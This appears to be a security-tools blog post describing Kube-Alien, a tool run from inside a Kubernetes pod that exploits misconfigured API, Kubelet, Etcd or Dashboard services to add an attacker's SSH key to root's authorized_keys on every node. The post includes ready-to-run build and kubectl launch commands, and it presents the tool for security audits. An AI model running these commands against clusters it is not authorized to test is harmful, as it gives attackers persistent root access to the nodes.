Kube-Alien : Tool To Launch Attack On k8s Cluster

Kube-Alien tool launches attack on k8s cluster from within. That means you already need to have an access with permission to deploy pods in a cluster to run it.

After running the kube-alien pod it tries to takeover cluster’s nodes by adding your public key to node’s /root/.ssh/authorized_keys file by using this image https://github.com/nixwizard/dockercloud-authorizedkeys (Can be adjusted using ADD_AUTHKEYS_IMAGE param in config.py) forked from docker/dockercloud-authorizedkeys.

Also Read – Firmware Analysis Toolkit : To Emulate Firmware And Analyse It For Security Vulnerabilities

The attack succeedes if there is a misconfiguration in one of the cluster’s components it goes along the following vectors:

  • Kubernetes API
  • Kubelet service
  • Etcd service
  • Kubernetes-Dashboard

The purpose of this tool

  • While doing security audit of a k8s cluster one can quickly assess it’s security posture.
  • Partical demostration of the mentioned attack vectors exploitation.

How can k8s cluster be attacked from within in a real life

  • RCE or SSRF vunerability in an app which is being run in one of your cluster’s pods.

Usage

Kube-alien image should be pushed to your dockerhub(or other registry) before using with this tool.

git clone https://github.com/nixwizard/kube-alien.git
cd kube-alien
docker build -t ka ./
docker tag ka YOUR_DOCKERHUB_ACCOUNT/kube-alien:ka
docker push YOUR_DOCKERHUB_ACCOUNT/kube-alien:ka

The AUTHORIZED_KEYS env required to be set to the value of your ssh public key, in case of success the public key will be added to all node’s root’s authorized_keys file.

kubectl run –image=YOUR_DOCKERHUB_ACCOUNT/kube-alien:ka kube-alien –env=”AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)” –restart Never

or you may use my image for quick testing purpose:

kubectl run –image=nixwizard/kube-alien kube-alien:ka –env=”AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)” –restart Never

Check Kube-alien pod’s logs to see if attack was successful:

kubectl logs $(kubectl get pods| grep alien|cut -f1 -d’ ‘)

R K

Recent Posts

AutoExif – Simplifying Image Metadata Editing With Bash

AutoExif is a powerful Bash script designed to streamline the process of editing image metadata…

3 hours ago

SimpleImager V4.3 : A Step-by-Step Guide To Efficient System Imaging

SimpleImager V4.3, your go-to tool for streamlined system imaging and data acquisition. Designed to simplify…

3 hours ago

MetaOSINT – Revolutionizing OSINT Investigations With Top Tools And Resources

MetaOSINT enables open source intelligence ("OSINT") practitioners to jumpstart their investigations by quickly identifying relevant,…

3 hours ago

ThreatPinch Lookup – Enhancing Cybersecurity Investigations Through Automated Tooltips

ThreatPinch Lookup creates informational tooltips when hovering oven an item of interest on any website.…

3 hours ago

Oh Shint! Navigating The Depths Of Cyber-Intelligence With Donvito

Myself and any other potential contributors to this website are NOT in any way affiliated…

3 hours ago

M.E.A.T. – Pioneering Mobile Forensics With The Mobile Evidence Acquisition Toolkit

The Mobile Evidence Acquisition Toolkit designed by BlackStone Discovery. Developed to enhance digital forensics, this…

1 day ago